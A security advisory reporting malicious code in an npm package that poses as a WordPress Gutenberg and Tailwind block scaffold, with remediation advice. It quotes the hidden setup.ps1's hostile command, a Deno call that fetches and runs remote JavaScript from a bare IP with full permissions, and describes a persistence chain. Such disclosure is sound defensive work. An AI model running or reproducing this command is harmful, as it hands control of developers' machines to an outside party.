MAL-2026-10761 Malicious code in my-tailwind-gutenberg-block (npm)

The package advertises itself as a WordPress Gutenberg + Tailwind block scaffold (src/edit.js, src/save.js, block.json), but the tarball also contains setup.ps1, an undocumented PowerShell script unrelated to the stated purpose. When run, setup.ps1 installs Scoop, winget, and the Deno runtime on the user's Windows host, then invokes deno run -A http://172.94.9.157/v028f8cde892b0b74c8.js — executing unpinned, unverified JavaScript fetched over plain HTTP from a bare IP with all Deno permissions granted (filesystem, network, environment, subprocess). Comments in the script self-describe the fetched code as a launcher-1 eval-loop that pulls launcher-2, which then sets up autorun and runs a main payload, indicating persistence. The mismatch between the advertised WordPress-block purpose and a Windows runtime dropper is a cover-story pattern; the bare-IP plain-HTTP delivery of a mutable script under a fully-permissioned alternate runtime is an install-time remote-code-execution vector against any developer who runs setup.ps1.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.